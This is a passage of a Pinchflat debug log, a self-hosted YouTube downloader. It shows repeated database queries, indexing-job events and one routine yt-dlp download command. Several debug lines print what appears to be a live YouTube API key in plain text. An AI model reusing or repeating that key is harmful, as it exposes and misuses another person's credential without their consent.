s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.345 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:20.485 [debug] QUERY OK source="media_items" db=0.2ms idle=140.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:25:20.485 [debug] QUERY OK source="settings" db=0.0ms idle=140.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.485 [debug] QUERY OK source="settings" db=0.0ms idle=140.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.485 [debug] Running yt-dlp command for action: get_media_attributes 17:25:20.485 [debug] QUERY OK source="settings" db=0.0ms idle=140.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.486 [debug] QUERY OK source="settings" db=0.3ms idle=140.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.486 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.486 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ea/28/ea285b97d4d70f275b93e49e9dd071ec3a49dffbc4c973325727a8149f37033b.json --sleep-requests 68 --sleep-interval 71 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:25:21.345 [info] {"args":{"id":13},"id":5268412,"meta":{},"system_time":1791584721345200583,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:21.345 [debug] QUERY OK source="sources" db=0.1ms idle=859.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:25:21.345 [debug] QUERY OK source="settings" db=0.1ms idle=859.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.345 [debug] QUERY OK source="media_profiles" db=0.1ms idle=859.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:21.346 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.346 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:25:21.346 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.346 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:21.515 [debug] QUERY OK source="media_items" db=0.5ms idle=169.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 17:25:21.516 [debug] QUERY OK source="media_items" db=0.2ms idle=170.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:25:21.516 [debug] QUERY OK source="tasks" db=0.1ms idle=170.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268451, 13, ~U[2026-10-09 22:25:21Z], ~U[2026-10-09 22:25:21Z]] 17:25:21.517 [info] {"args":{"id":13},"id":5268412,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":171721,"event":"job:stop","queue_time":973921,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:21.523 [info] {"args":{"id":9},"id":5268413,"meta":{},"system_time":1791584721523208518,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:21.523 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:25:21.523 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.523 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:21.524 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.524 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:25:21.524 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.524 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:21.964 [debug] QUERY OK source="media_items" db=0.6ms idle=440.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 17:25:21.966 [debug] QUERY OK source="media_items" db=0.7ms idle=441.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:25:21.966 [debug] QUERY OK source="tasks" db=0.1ms idle=442.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268452, 9, ~U[2026-10-09 22:25:21Z], ~U[2026-10-09 22:25:21Z]] 17:25:21.967 [info] {"args":{"id":9},"id":5268413,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":443781,"event":"job:stop","queue_time":757357,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:21.973 [info] {"args":{"id":17},"id":5268414,"meta":{},"system_time":1791584721973254553,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:21.973 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:25:21.973 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.973 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:21.973 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.973 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:25:21.974 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:21.974 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:22.081 [debug] QUERY OK source="media_items" db=0.4ms idle=107.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:25:22.081 [debug] QUERY OK source="media_items" db=0.1ms idle=107.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:25:22.082 [debug] QUERY OK source="tasks" db=0.1ms idle=108.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268453, 17, ~U[2026-10-09 22:25:22Z], ~U[2026-10-09 22:25:22Z]] 17:25:22.082 [info] {"args":{"id":17},"id":5268414,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109065,"event":"job:stop","queue_time":987338,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.088 [info] {"args":{"id":11},"id":5268415,"meta":{},"system_time":1791584722088141756,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.088 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:25:22.088 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.088 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:22.088 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.088 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:25:22.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:22.282 [debug] QUERY OK source="media_items" db=0.5ms idle=193.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN 